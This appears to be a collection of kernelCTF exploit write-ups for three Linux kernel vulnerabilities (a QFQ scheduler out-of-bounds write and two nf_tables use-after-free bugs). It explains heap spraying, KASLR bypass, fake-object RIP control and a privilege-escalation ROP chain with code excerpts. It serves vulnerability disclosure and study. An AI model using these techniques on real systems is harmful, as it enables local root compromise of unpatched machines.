Looking at the code in qfq_change_class() we can see that qfq_add_to_agg()
is called with the new agg:

// net/sched/sch_qfq.c

/* Add class to aggregate. */
static void qfq_add_to_agg(struct qfq_sched *q,
			   struct qfq_aggregate *agg,
			   struct qfq_class *cl)
{
	cl->agg = agg;

	qfq_update_agg(q, agg, agg->num_classes+1); // [1]
	if (cl->qdisc->q.qlen > 0) { /* adding an active class */
		list_add_tail(&cl->alist, &agg->active);
		if (list_first_entry(&agg->active, struct qfq_class, alist) ==
		    cl && q->in_serv_agg != agg) /* agg was inactive */
			qfq_activate_agg(q, agg, enqueue); /* schedule agg */   // [2]
	}
}

After the out-of-bound group is stored into the aggregate in [1] we can
hit qfq_activate_agg() [2].

/* Update agg ts and schedule agg for service */
static void qfq_activate_agg(struct qfq_sched *q, struct qfq_aggregate *agg,
			     enum update_reason reason)
{
	agg->initial_budget = agg->budget = agg->budgetmax; /* recharge budg. */

	qfq_update_agg_ts(q, agg, reason);
	if (q->in_serv_agg == NULL) { /* no aggr. in service or scheduled */
		q->in_serv_agg = agg; /* start serving this aggregate */
		 /* update V: to be in service, agg must be eligible */
		q->oldV = q->V = agg->S;
	} else if (agg != q->in_serv_agg)
		qfq_schedule_agg(q, agg); // [3]
}

After passing the checks in qfq_activate_agg() we will call the desired
qfq_schedule_agg() [3].

In order to hit these code paths we need to fullfill certain constraints:

1. q->in_serv_agg != NULL and q->in_serv_agg != new_oob_agg
2. (sub) qdisc of the owning class of the aggregate needs to be non-empty (cl->qdisc->q.qlen > 0)

We can control q->in_serv_agg by enqueuing packets:

static int qfq_enqueue(struct sk_buff *skb, struct Qdisc *sch,
		       struct sk_buff **to_free)
{
// ...
	qfq_activate_agg(q, agg, enqueue);
// ...
}

Initially q->in_serv_agg will be NULL, thus we will hit the second branch
in qfq_activate_agg() (see above).

The problem is that, right after enqueuing the packet, the dequeue operation
will reset the state (unless we generate enormous amounts of traffic so that
the scheduling actually kicks in, which however still leaves us with a race).
In order to work around that problem we will modify the sub qdisc of the class
to be a netem qdisc, which allows us to add a generously chosen delay, so that
the dequeue operation fails because no packet is available yet.
This will issue a warning in qfq_peek_skb(), but that will not be problem for us.

This solves constraint number one. As a bonus this naturally solves constraint
number two because the underlaying netem qdisc has in fact packets queued,
they are just delayed.

Step 2: Heap Spray Copy Section

Step 2.1: QFQ qdiscs and `dyn-malloc-8192` Copy Section

To successfully make use of the vulnerability we need a controllable object in
the dyn-kmalloc-8192 cache.

The qdisc is allocated by qdisc_alloc():

// qdisc_alloc() in net/sched/sch_generic.c
	struct Qdisc *sch;

// ..

	dev = dev_queue->dev;
	sch = kzalloc_node(size, GFP_KERNEL, netdev_queue_numa_node_read(dev_queue));

This size is a) not compile time constant and b) allocated with GFP_KERNEL,
so we need an object which satisfies both as well.

I chose struct qdisc_size_table, as it has all those properties:

// qdisc_get_stab() in net/sched/sch_api.c

	struct qdisc_size_table *stab;
// ..
	stab = kmalloc(struct_size(stab, data, tsize), GFP_KERNEL);

To get the desired layout, we will allocate one sizetable alongside each qdisc we
spray. This way we hopefully get the desired alternating layout.
One should note, that the different sizetables need not be equal, otherwise no
allocation would be made.

In order to spray the qdiscs we will create child processes, each with a new
network namespace to isolate each qdisc.

Step 2.2: `struct tcf_proto`s and `kmalloc-128` Copy Section

As mentioned earlier, we will try to modify the q->filter_list member in order to point
to a nearby user controlled object.
struct tcf_proto is allocated in kmalloc-128 with GFP_KERNEL so we will need
a similar statically sized object.

I found XDP to be
very useful for this. Specifically we will use struct xdp_mem for this purpose,
as the void *addrs member overlays perfectly with the struct tcf_proto __rcu *next
member of struct tcf_proto:

// in include/net/xdp_sock.h, size = 112 bytes

struct xdp_umem {
	void *addrs;
	u64 size;
	u32 headroom;
	u32 chunk_size;
	u32 chunks;
	u32 npgs;
	struct user_struct *user;
	refcount_t users;
	u8 flags;
	bool zc;
	struct page **pgs;
	int id;
	struct list_head xsk_dma_list;
	struct work_struct work;
};

This structure is a nice primitive, as it allows us to create arbitrary kernel objects.
Furthermore we will have arbitrary read / write for the created kernel objects, if we would need it.
XDP allows the creation of shared memory buffers between kernel and userspace.
When creating the AF_XDP socket and registering the shared memory through setsockopt(),
the addrs member will be mapped directly to the userspace buffer.
Any code dereferencing this address will therefor use our controlled buffer.
This fits perfectly onto our struct tcf_proto as it is implementing a simple
forward list with the first member.

In order to spray those objects, we will simply create many AF_XDP sockets and
register memory for each of them.

Step 3: Getting RIP Control Copy Chapter

By constructing a fake struct tcf_proto object with a suitable classify member
we are on a good way to gain arbitrary kernel code execution:

// in net/sched/sch_qfq.c
static struct qfq_class *qfq_classify(struct sk_buff *skb, struct Qdisc *sch,
				      int *qerr)
{
	struct qfq_sched *q = qdisc_priv(sch);
	struct tcf_proto *fl;
// ..
	fl = rcu_dereference_bh(q->filter_list);
	result = tcf_classify(skb, NULL, fl, &res, false);
// ..
}

// in net/sched/cls_api.c
static inline int __tcf_classify(struct sk_buff *skb,
				 const struct tcf_proto *tp,
				 const struct tcf_proto *orig_tp,
				 struct tcf_result *res,
				 bool compat_mode,
				 u32 *last_executed_chain)
{
// ..
	for (; tp; tp = rcu_dereference_bh(tp->next)) {
		__be16 protocol = skb_protocol(skb, false);
		int err;

		if (tp->protocol != protocol &&
		    tp->protocol != htons(ETH_P_ALL))
			continue;

		err = tp->classify(skb, tp, res);
// ..
}

Even though we created a fake object for kmalloc-128 we do not have any real size
restrictions on the payload.
tp->classify is called with the tp object as a second parameter (into rsi),
which serves as a perfect candidate for a stack pivot onto the fake object.

One downside of the chosen entrypoint into the kernel is the fact, that we are in an
interrupt context. Thus we cannot simply return to usermode naively.
To overcome this issue we will restore the execution right at the end of qfq_enqueue
so that the kernel will deal with this problem on its own.
Right as we enter rbp will contain a stack pointer.
We copy this pointer to a save location in memory and eventually restore the stack frame.

Besides that, we will construct a common privilege escalation payload.

KASLR Bypass

The exploit itself is single bit write only, we did not construct any leak primitives.
In order to get a kernel pointer to bypass KASLR, we will adapt timing side channels
for simplicity reasons.
While PTI is not enabled, this works very well in practice.

The code for that is adapted from https://github.com/IAIK/prefetch/blob/master/cacheutils.h

General Notes on the Exploit

The exploit makes heavy use of multiprocessing in order to simplify the use
of the network namespaces (recall we use one network namespace for each QFQ qdisc we
create.)

The main function performs coordination of the child processes.
The children will notify the parent through a simple wait based event system.
Qdiscs and spraying of fake classifiers are handled by child threads in bug_worker().
We will select one of those workers to trigger the vulnerability, the others
will try to trigger RIP control.
If the bitflip failed, we will notice that we do not have root privileges.
Besides that, nothing is in an unstable state and we can try again.

Finally note that the exploit does not make use of any netlink library or the like.
Therefor, you may notice that the code related to netlink is quite verbose.
Reasons for that are unknown (maybe I did not know how to use the libraries.)

Stability Copy Chapter

The main stability problem is the initial heap spray where we try to achieve a three-way
aligned layout in dyn-kmalloc-8192.
In order to improve the reliablity of this step, we pin the orchestration to
a dedicated CPU while the workers (that perform the spray), are pinned to another
one.
This greatly increases the likeylhood of hitting the correct layout, however
chances are still quite low (~10%)

Overall this contributes to an observed stability of about 5%.

Finally, one should note that the exploit is not performing a decent
post-exploitation cleanup.
The QFQ qdisc class which triggered the vulnerability is not properly cleaned up, thus
as soon as the timers for dequeue operations fire, the kernel will likely
panic.

Pocs Linux Kernelctf CVE 2023 31436 Mitigation Docs Novel Techniques (`pocs/linux/kernelctf/CVE-2023-31436_mitigation/docs/novel-techniques.md`) Copy Section

As far as I am aware kernel heap data only attacks using kernel/user shared memory have
gained little to no attention yet.

The struct xdp_mem with the AF_XDP socket (docs)
used in this exploit seems to serve as a powerful primitive:
Advantages:

• Read / Write of "kernel" memory without restrictions (even fault shenanigans seem like a good idea,
  though I did not explicitly look into this)
• No heap pointers required
• No size restrictions even though acting as a kmalloc-128 object
• Very useful as a "fake list member"

Disadvantages:

• One level of pointer indirection
• Initial pointer restricted to kmalloc-128
• Requires CAP_NET_RAW

Depending on the primitives available unaligned pointer corruption may come in handy
when dealing with objects where the mapped member does not align with the desired pointer.

Pocs Linux Kernelctf CVE 2023 31436 Mitigation Docs Vulnerability (`pocs/linux/kernelctf/CVE-2023-31436_mitigation/docs/vulnerability.md`) Copy Section

Vulnerability Details

CVE-2023-31436: qfq_change_class in net/sched/sch_qfq.c in the Linux kernel before 6.2.13 allows an out-of-bounds write because lmax can exceed QFQ_MIN_LMAX.

This vulnerability affects the packet scheduler subsystem, specifically QFQ+.

An attacker can utilize this vulnerability to cause a slab-out-of-bounds read/write in the (dyn-)kmalloc-8192 cache.

Requirements Copy Chapter

A user needs to be able to modify qdiscs, thus requiring CAP_NET_ADMIN.
Naturally this will be obtained through usernamespaces, thus one may require CONFIG_USER_NS.

The specific qdisc in question is QFQ, which needs to be enabled CONFIG_NET_SCH_QFQ.

History Copy Chapter

The fixing commit is https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=3037933448f60f9acb705997eae62013ecb81e0d.
This is a fix for 3015f3d2a3cd ("pkt_sched: enable QFQ to support TSO/GSO"), which dates way back to 2011.
Based on this I assume 2.6.x+ is affected.

Triggering the Vulnerability Copy Chapter

In order to trigger the vulnerability an attacker needs to modify qfq classes
after modifying the MTU of the device to a large value (> 0x100000).
This can be trivially achieved for the loopback device.

When changing a class and ommitting the TCA_QFQ_LMAX option, the lmax value is chosen according to the MTU of the device, without any additional checks [1]:

// qfq_change_class() in net/sched/sch_qfq.c

// ..
	if (tb[TCA_QFQ_LMAX]) {
		lmax = nla_get_u32(tb[TCA_QFQ_LMAX]);
		if (lmax < QFQ_MIN_LMAX || lmax > (1UL << QFQ_MTU_SHIFT)) {
			pr_notice("qfq: invalid max length %u\n", lmax);
			return -EINVAL;
		}
	} else
		lmax = psched_mtu(qdisc_dev(sch)); // [1]

// ..

		qfq_init_agg(q, new_agg, lmax, weight); // [2]
	}

// ..

	qfq_add_to_agg(q, new_agg, cl); // [3]

qfq_init_agg will then set new_agg->lmax accordingly.
Eventually qfq_add_to_agg() [3] will initialize new_agg->grp when the call tree
reaches qfq_update_agg():

// qfq_update_agg() in net/sched/sch_qfq.c
	agg->budgetmax = new_num_classes * agg->lmax;
	new_agg_weight = agg->class_weight * new_num_classes;
	agg->inv_w = ONE_FP/new_agg_weight;

	if (agg->grp == NULL) {
		int i = qfq_calc_index(agg->inv_w, agg->budgetmax,
				       q->min_slot_shift);
		agg->grp = &q->groups[i]; // [4]
	}

qfq_calc_index() performs some simple arithmetics to choose the final value,
but will not do any additional bounds checks.
Eventually this results in agg->grp pointing out-of-bounds [4] relative to the q object of type struct qfq_sched (in the kmalloc-8192 cache).

The group of the qfq_aggregate is used in several places, leading to OOB reads and writes.

Pocs Linux Kernelctf CVE 2023 32233 Mitigation Docs Exploit (`pocs/linux/kernelctf/CVE-2023-32233_mitigation/docs/exploit.md`) Copy Section

Attacking Objects

• Information leak/KASLR bypass: nft_chain + nft_rule/nft_expr [dyn-kmalloc-256]
• RIP control: nft_rule/nft_expr (RIP hijacked via expr->deactivate()) [dyn-kmalloc-256]

Overview

This exploit is written based on https://www.openwall.com/lists/oss-security/2023/05/15/5. The exploit strategy is different from the original code.

Triggering Vulnerability

The vulnerability is caused by access to an anonymous nft_set that is being deleted.

void nf_tables_deactivate_set(const struct nft_ctx *ctx, struct nft_set *set,
			      struct nft_set_binding *binding,
			      enum nft_trans_phase phase)
{
	switch (phase) {
	case NFT_TRANS_PREPARE:     // [1]
		set->use--;
		return;
	case NFT_TRANS_ABORT:
	case NFT_TRANS_RELEASE:
		set->use--;
		fallthrough;
	default:
		nf_tables_unbind_set(ctx, set, binding,
				     phase == NFT_TRANS_COMMIT);
	}
}
EXPORT_SYMBOL_GPL(nf_tables_deactivate_set);

void nf_tables_destroy_set(const struct nft_ctx *ctx, struct nft_set *set)
{
	if (list_empty(&set->bindings) && nft_set_is_anonymous(set))
		nft_set_destroy(ctx, set);
}
EXPORT_SYMBOL_GPL(nf_tables_destroy_set);

Because the nf_tables_deactivate_set function does not change the set to the inactive state when an anonymous set is deleted, it can be accessed after the set is destroyed by the nf_tables_destroy_set function [1].

To trigger the vulnerability, create an anonymous nft_set is and a rule with a lookup expr referencing it. The UAF is then triggered by deleting the rule and then deleting the set or adding/deleting set elements of the set. Note that nf_tables_deactivate_set is called while deleting the rule with lookup expr.

From UAF to double free

static void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)
{
	int i;

	if (WARN_ON(set->use > 0))
		return;

	for (i = 0; i < set->num_exprs; i++)
		nft_expr_destroy(ctx, set->exprs[i]);

	set->ops->destroy(set);
	nft_set_catchall_destroy(ctx, set);
	kfree(set->name);           // [2]
	kvfree(set);
}

When the nft_lookup expr is destroyed, the nft_set_destroy function is called and free set->name[2]. When the set is destroyed again, the nft_set_destroy function is called one more time on this nft_set, resulting in a double free. In between the two calls to nft_set_destroy, I create another target nft_set to make this nft_set free. At this time, I make the length of the set's name in between 193-256 to place it to dyn-kmalloc-256.

struct nft_chain {
	struct nft_rule_blob		__rcu *blob_gen_0;
	struct nft_rule_blob		__rcu *blob_gen_1;
	struct list_head		rules;
	struct list_head		list;
	struct rhlist_head		rhlhead;
	struct nft_table		*table;
	u64				handle;
	u32				use;
	u8				flags:5,
					bound:1,
					genmask:2;
	char				*name;
	u16				udlen;
	u8				*udata;         // [3]

	/* Only used during control plane commit phase: */
	struct nft_rule_blob		*blob_next;
};

Then, I utilized the udata field [3] of the nft_chain structure for information leak and RIP control. To do this, the udata of nft_chain is allocated in dyn-kmalloc-256 and overlaps with set->name of the target set.

static int nf_tables_addchain(struct nft_ctx *ctx, u8 family, u8 genmask,
			      u8 policy, u32 flags,
			      struct netlink_ext_ack *extack)
    ...

if (nla[NFTA_CHAIN_USERDATA]) {
		chain->udata = nla_memdup(nla[NFTA_CHAIN_USERDATA], GFP_KERNEL_ACCOUNT);    // [4]
		if (chain->udata == NULL) {
			err = -ENOMEM;
			goto err_destroy_chain;
		}
		chain->udlen = nla_len(nla[NFTA_CHAIN_USERDATA]);
	}

The udata of nft_chain is input from the user in the nf_tables_addchain function [4].

KASLR Bypass and Information Leak

To bypass KASLR, I used the struct nft_rule. The nft_rule contains struct nft_expr [5], which stores the address of the struct nft_expr_ops [6]. Since address of nft_expr_ops is a kernel address, we can bypass KASLR by read it. We can also get the heap address by reading the list in the struct nft_rule. This address will be used later to create fake ops and store the ROP payload. In this exploit, I used nft_counter_ops.

struct nft_rule {
	struct list_head		list;
	u64				handle:42,
					genmask:2,
					dlen:12,
					udata:1;
	unsigned char			data[]
		__attribute__((aligned(__alignof__(struct nft_expr))));     // [5]
};

struct nft_expr {
	const struct nft_expr_ops	*ops;                   // [6]
	unsigned char			data[]
		__attribute__((aligned(__alignof__(u64))));
};

RIP Control

Create a fake rule to control the RIP. Since expr->ops->deactivate is called in the nft_rule_expr_deactivate function when deleting a rule [7], we can control the RIP by modifying with the address of the ops.

static void nft_rule_expr_deactivate(const struct nft_ctx *ctx,
				     struct nft_rule *rule,
				     enum nft_trans_phase phase)
{
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {
		if (expr->ops->deactivate)
			expr->ops->deactivate(ctx, expr, phase);        // [7]

		expr = nft_expr_next(expr);
	}
}

To do this, we free the rule we sprayed for the leak and spray a fake rule with chain->udata at this location.

struct fake_nft_rule * payload = (struct fake_nft_rule *) data;

    payload->dlen = 8;
    payload->genmask = 0;
    payload->handle = 0xffff;
    payload->list.prev = (void*) 0;
    payload->list.next = (void*) 0;

    *((uint64_t*)data + (sizeof(struct fake_nft_rule) / sizeof(uint64_t*))) = heap_addr;    // expr->ops

I sprayed a fake rule with dlen greater than 0 and handle 0xffff. And when I delete the rule with handle 0xffff, the RIP is controlled.

Post-RIP

I make the following ROP payload to get the shell. For simplicity, I utilized the Telefork technique suggested by Kyle (https://blog.kylebot.net/2022/10/16/CVE-2022-1786/).

void make_payload_rop(uint64_t* data){
    int i = 0;

    data[i++] = kbase + POP_RSI_RET;            // dummy
    data[i++] = 0;

    data[i++] = kbase + POP_RSI_RET;            // dummy
    data[i++] = 0;

    data[i++] = kbase + POP_RSI_RET;            // dummy
    data[i++] = kbase + PUSH_RAX_POP_RSP;       // expr->ops->deactivate()

    // find_task_by_vpid(1)
    data[i++] = kbase + POP_RDI_RET;
    data[i++] = 1;
    data[i++] = kbase + FIND_TASK_BY_VPID;

    // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy)
    data[i++] = kbase + MOV_RDI_RAX_RET;
    data[i++] = kbase + POP_RSI_RET;
    data[i++] = kbase + INIT_NSPROXY;
    data[i++] = kbase + SWITCH_TASK_NAMESPACES;

    // commit_creds(&init_cred)
    data[i++] = kbase + POP_RDI_RET;
    data[i++] = kbase + INIT_CRED;
    data[i++] = kbase + COMMIT_CREDS;

    data[i++] = kbase + VFORK;
    data[i++] = kbase + DELAY;
}

However, when using the fork system call, a lot of double fault exceptions occurred, so we used vfork. Since vfork also causes a double fault exception, it is better to use the iret gadget to return to the userspace to increase the reliability of the exploit.

Pocs Linux Kernelctf CVE 2023 32233 Mitigation Docs Novel Techniques (`pocs/linux/kernelctf/CVE-2023-32233_mitigation/docs/novel-techniques.md`) Copy Section

Novel Techniques

Powerful Universal Obejct: `struct nft_rule` Copy Chapter

struct nft_rule is a very powerful primitive that can be used to do KASLR bypass, leak heap address, RIP control, and data spraying. We can get the kernel base address by reading the ops structure of expr stored in nft_rule. We can also read the list of nft_rule and the heap address stored in nft_expr and utilize it in an attack. Finally, the ops address of the expr can be manipulated to perform RIP control. Additionally, the userdata field of the nft_rule can be used for data spraying.

struct nft_rule {
	struct list_head		list;
	u64				handle:42,
					genmask:2,
					dlen:12,
					udata:1;
	unsigned char			data[]
		__attribute__((aligned(__alignof__(struct nft_expr))));
};

struct nft_expr {
	const struct nft_expr_ops	*ops;
	unsigned char			data[]
		__attribute__((aligned(__alignof__(u64))));
};

Pocs Linux Kernelctf CVE 2023 32233 Mitigation Docs Vulnerability (`pocs/linux/kernelctf/CVE-2023-32233_mitigation/docs/vulnerability.md`) Copy Section

• Requirements:
  • Capabilities: CAP_NET_ADMIN
  • Kernel configuration: CONFIG_NETFILTER, CONFIG_NF_TABLES
  • User namespaces required: Yes
• Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=20a69341f2d00cd042e81c82289fba8a13c05a25 (netfilter: nf_tables: add netlink set API)
• Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=c1592a89942e9678f7d9c8030efa777c0d57edab (netfilter: nf_tables: deactivate anonymous set from preparation phase)
• Affected Version: v3.13-rc1 - v6.4-rc6
• Affected Component: net/netfilter
• Cause: Use-After-Free
• Syscall to disable: disallow unprivileged username space
• URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-32233
• Description: In the Linux kernel through 6.3.1, a use-after-free in Netfilter nf_tables when processing batch requests can be abused to perform arbitrary read and write operations on kernel memory. Unprivileged local users can obtain root privileges. This occurs because anonymous sets are mishandled.

Pocs Linux Kernelctf CVE 2023 3390 Lts Cos Mitigation Docs Exploit (`pocs/linux/kernelctf/CVE-2023-3390_lts_cos_mitigation/docs/exploit.md`) Copy Section

Exploit

In the following, we explain our exploit based on refined exploit, which is refined for the explanation. Even though we tested this exploit in the target instances, we also included our original exploits that are used for flag submission.

0. Table of Contents Copy Chapter

• Exploit
  • 0. Table of Contents
  • 1. Background
  • 2. Patch analysis
  • 3. Triggering a vulnerability (UAF)
  • 4. From UAF to double free
  • 5. Initialization for exploit
    • 5.1 Initialize kernel image-specific values
    • 5.2 Disable buffering
    • 5.3 Setup namespaces
    • 5.4 Pinning the CPU
  • 6. Exploit for LTS 6.1.31 Instance
    • 6.1 Overview
    • 6.2 Preparation for object manipulation
    • 6.3 Heap grooming
    • 6.3 Triggering the vulnerability for overlapping chunks
    • 6.4 Heap leak
    • 6.5 KASLR leak
    • 6.6 PC control for ROP
    • 6.7 Post exploitation
  • 7. COS-15-17412-101.17 Instance
    • 7.1 Overview
    • 7.2 Preparation for post-PC control and barrier objects
    • 7.3 Triggering vulnerability and chunk overlapping
    • 7.4 Heap and KASLR leak
    • 7.5 PC control for ROP
    • 7.6 ROP for Kernel shellcode
    • 7.7 Post exploitation
  • 8. LTS 6.1 Mitigation Instance
  • 9. Summary

1. Background Copy Chapter

Netfilter nf_tables subsystem is a modern packet filtering framework in Linux. It allows to define rules and actions for handling incoming and outgoing network packets. nf_tables subsystem is widely utilized in many Linux distros due to improved performance, simplified syntax, and support for various address families like IPv4, IPv6, and ARP.

nf_tables subsystem consists of several key components: table, chain, rule, expressions, and set. At the top level, nf_tables are organized with table, each representing a distinct logical domain for packet filtering. Within these table, chain, which act as ordered sets of rule, is defined. rule represents individual filtering instructions that are constructed by multiple expression such as lookup, counter, or range. To efficiently group multiple elements for matching or action, nf_tables offer set; It stores unique elements such as address or port number. The set could be named set, which is bound to table, or could be an anonymous set, which is bound to a certain rule. This anonymous set has the same lifetime as the corresponding rule.

Each nf_tables component can be created, removed, and updated by the corresponding commands. These commands are transferred through the Netlink socket from userspace to kernel. nf_tables also support a transaction mechanism for commands. This allows multiple commands to be applied as a single unit, ensuring that components are either fully applied or entirely discarded in case of errors or interruptions during updates.

To interact with Netfilter nf_tables subsystem on the user program, libmnl library and the libnftnl library is commonly used. You can find example codes of libnftnl library for details on how to interact with nf_tables subsystem. Our exploit also utilized the libraries above.

2. Patch analysis Copy Chapter

• commit 1240eb93f0616b21c675416516ff3d74798fdc97

diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index 3bb0800b3849a..69bceefaa5c80 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -3844,7 +3844,8 @@ err_destroy_flow_rule:
 	if (flow)
 		nft_flow_rule_destroy(flow);
 err_release_rule:
-	nf_tables_rule_release(&ctx, rule); // [1]
+	nft_rule_expr_deactivate(&ctx, rule, NFT_TRANS_PREPARE);
+	nf_tables_rule_destroy(&ctx, rule);
 err_release_expr:
 	for (i = 0; i < n; i++) {
 		if (expr_info[i].ops) {

• net/netfilter/nf_tables_api.c:nf_tables_rule_release()

void nf_tables_rule_release(const struct nft_ctx *ctx, struct nft_rule *rule)
{
	nft_rule_expr_deactivate(ctx, rule, NFT_TRANS_RELEASE); // [2]
	nf_tables_rule_destroy(ctx, rule);
}

This patch for CVE-2023-3390 fixes the error-path routine of nf_tables_newrule function, which handles the command for creating a new rule. It changes the NFT_TRANS_RELEASE flag for nft_tables_expr_deactivate [2] into NFT_TRANS_PREPARE [1].

• commit 1240eb93f0616b21c675416516ff3d74798fdc97

...
Due to this incorrect error handling, it is possible to access a dangling pointer to the anonymous set that remains in the transaction list.
...

According to its description, it prevents use-after-free (i.e., access a dangling pointer) to the anonymous set in handling errors.

3. Triggering a vulnerability (UAF) Copy Chapter

In this section, we discuss how this wrong flag in nft_rule_expr_deactivate causes use-after-free.

• net/netfilter/nf_tables_api.c:nf_rule_expr_deactivate()

static void nft_rule_expr_deactivate(const struct nft_ctx *ctx,
				     struct nft_rule *rule,
				     enum nft_trans_phase phase)
{
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {
		if (expr->ops->deactivate)
			expr->ops->deactivate(ctx, expr, phase);  // [1] 

		expr = nft_expr_next(expr);
	}
}

• net/netfilter/nf_tables_api.c:nf_tables_deactivate_set()

void nf_tables_deactivate_set(const struct nft_ctx *ctx, struct nft_set *set,
			      struct nft_set_binding *binding,
			      enum nft_trans_phase phase)
{
	switch (phase) {
	case NFT_TRANS_PREPARE:
		if (nft_set_is_anonymous(set))
			nft_deactivate_next(ctx->net, set); // [2]

		set->use--;
		return;
	case NFT_TRANS_ABORT:
	case NFT_TRANS_RELEASE:
		set->use--;
		fallthrough;
	default:
		nf_tables_unbind_set(ctx, set, binding,
				     phase == NFT_TRANS_COMMIT); // [3]
	}
}

#define nft_deactivate_next(__net, __obj)			\
        (__obj)->genmask = nft_genmask_next(__net) // [4]

In nf_tables_deactivate_set that is invoked by nft_rule_expr_deactivate[1], if the flag is NFT_TRANS_RELEASE (i.e., before patch), this function will fallthrough nf_tables_unbind_set [3]. If the given flag is NFT_TRANS_PREPARE (i.e., after patch), it deactivates the given anonymous set [2] using nft_deactive_next macro [4].

• net/netfilter/nf_tables_api.c:nf_tables_unbind_set()

static void nf_tables_unbind_set(const struct nft_ctx *ctx, struct nft_set *set,
				 struct nft_set_binding *binding, bool event)
{
	list_del_rcu(&binding->list); // [1]

	if (list_empty(&set->bindings) && nft_set_is_anonymous(set)) {
		list_del_rcu(&set->list); // [2]
		if (event)
			nf_tables_set_notify(ctx, set, NFT_MSG_DELSET,
					     GFP_KERNEL);
	}
}

nf_tables_unbind_set deletes the given set from bindings [1]. If this given set has no more bindings and is anonymous, it unlinks the set from the set list [2].

• net/netfilter/nf_tables_api.c:nf_tables_rule_release()

void nf_tables_rule_release(const struct nft_ctx *ctx, struct nft_rule *rule)
{
	nft_rule_expr_deactivate(ctx, rule, NFT_TRANS_RELEASE);
	nf_tables_rule_destroy(ctx, rule); // [1]
}

• net/netfilter/nf_tables_api.c:nf_tables_destroy_set()

void nf_tables_destroy_set(const struct nft_ctx *ctx, struct nft_set *set)
{
	if (list_empty(&set->bindings) && nft_set_is_anonymous(set))
		nft_set_destroy(ctx, set); // [2]
}

• net/netfilter/nf_tables_api.c:nft_set_destroy()

static void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)
{
	int i;

	if (WARN_ON(set->use > 0))
		return;

	for (i = 0; i < set->num_exprs; i++)
		nft_expr_destroy(ctx, set->exprs[i]);

	set->ops->destroy(set);
	nft_set_catchall_destroy(ctx, set);
	kfree(set->name);
	kvfree(set); // [3]
}

After that, nf_tables_destroy_set function, which is eventually reached from nf_tables_rule_destroy [1], checks that the given set is an anonymous set and is not bind to anywhere [2]. If so, nft_set_destroy function frees this set [3].

• net/netfilter/nf_tables_api.c:nft_set_lookup_byid()

static struct nft_set *nft_set_lookup_byid(const struct net *net,
					   const struct nft_table *table,
					   const struct nlattr *nla, u8 genmask)
{
	struct nftables_pernet *nft_net = nft_pernet(net);
	u32 id = ntohl(nla_get_be32(nla));
	struct nft_trans *trans;

	list_for_each_entry(trans, &nft_net->commit_list, list) {
		if (trans->msg_type == NFT_MSG_NEWSET) {
			struct nft_set *set = nft_trans_set(trans);

			if (id == nft_trans_set_id(trans) &&
			    set->table == table &&
			    nft_active_genmask(set, genmask)) // [1]
				return set;
		}
	}
	return ERR_PTR(-ENOENT);
}

Unfortunately, this freed set object is still accessible in the following commands of the same transaction. This is because this object was still in transaction list and not properly deactivated (i.e., nft_activate_genmask will return true). From this, we can see why the patch works; It doesn't unbind the set object but only deactivates it, making it non-accessible.

Thus, the following transaction triggers UAF.

• Create a new anonymous struct nft_set object with NFT_MSG_NEWSET commands.
• Create a new rule with NFT_MSG_NEWRULE command including an expression that binds the created anonymous set object and triggers an error with a faulty lookup expression.
• Create a command that accesses already freed struct nft_set object (ex. NFT_MSG_NEWRULE).

4. From UAF to double free Copy Chapter

Then, we change this UAF on struct nft_set into double free. We can achieve this by binding the dangling object to a new lookup expression. If the transaction is aborted, this lookup expression will be released, causing a double free on the object.

• net/netfilter/nf_tables_api.c:__nf_tables_abort()

static int __nf_tables_abort(struct net *net, enum nfnl_abort_action action)
{
// ...
		case NFT_MSG_NEWRULE:
			trans->ctx.chain->use--;
			list_del_rcu(&nft_trans_rule(trans)->list);
			nft_rule_expr_deactivate(&trans->ctx,
						 nft_trans_rule(trans),
						 NFT_TRANS_ABORT);
			if (trans->ctx.chain->flags & NFT_CHAIN_HW_OFFLOAD)
				nft_flow_rule_destroy(nft_trans_flow_rule(trans));
			break;
// ...
	list_for_each_entry_safe_reverse(trans, next,
					 &nft_net->commit_list, list) {
		list_del(&trans->list);
		nf_tables_abort_release(trans); // [1]
	}
// ...
}

• net/netfilter/nf_tables_api.c:nf_tables_abort_release()

static void nf_tables_abort_release(struct nft_trans *trans)
{
// ...
	case NFT_MSG_NEWRULE:
		nf_tables_rule_destroy(&trans->ctx, nft_trans_rule(trans)); // [2]
		break;
// ...
}

If one of the rules in the transaction is faulty, the kernel will call
nf_tables_abort and finally reach nf_tables_abort_release.
This function calls nf_tables_rule_destroy, eventually freeing the set
object.

• mm/slub.c:set_freepointer()

static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp)
{
	unsigned long freeptr_addr = (unsigned long)object + s->offset;

#ifdef CONFIG_SLAB_FREELIST_HARDENED
	// [1]
	BUG_ON(object == fp); /* naive detection of double free or corruption */
#endif

	freeptr_addr = (unsigned long)kasan_reset_tag((void *)freeptr_addr);
	*(void **)freeptr_addr = freelist_ptr(s, fp, freeptr_addr);
}

Unfortunately, the kernel will fail with BUG_ON if we free the same freed
chunk consecutively. This is because Linux's slub allocator performs a naive
double free detection if CONFIG_SLAB_FREELIST_HARDENED config is enabled [1].

We can bypass this detection by a well-known technique: Allocate another chunk
and free it intermediately. This constructs the slab freelist in the form of A -> B -> A ... and can get duplicated chunks without triggering this naive detection
routine.

The following transaction is used to get a double-freed chunk.

• Create a new anonymous struct nft_set object (named set_a) with NFT_MSG_NEWSET command.
• Create another new anonymous struct nft_set object (named set_b) with NFT_MSG_NEWSET command.
• Create a new faulty rule with NFT_MSG_NEWRULE command to free set_a. This will free the set_a object on the error path.
• Create a new faulty rule again to free set_b. This will free the set_b object on the error path, making the percpu freelist head points set_b chunk.
• Create a new rule with NFT_MSG_NEWRULE command that binds set_a. This rule is destroyed on the transaction abort routine and free set_a chunks again.

static void nf_tables_unbind_set(const struct nft_ctx *ctx, struct nft_set *set,
				 struct nft_set_binding *binding, bool event)
{
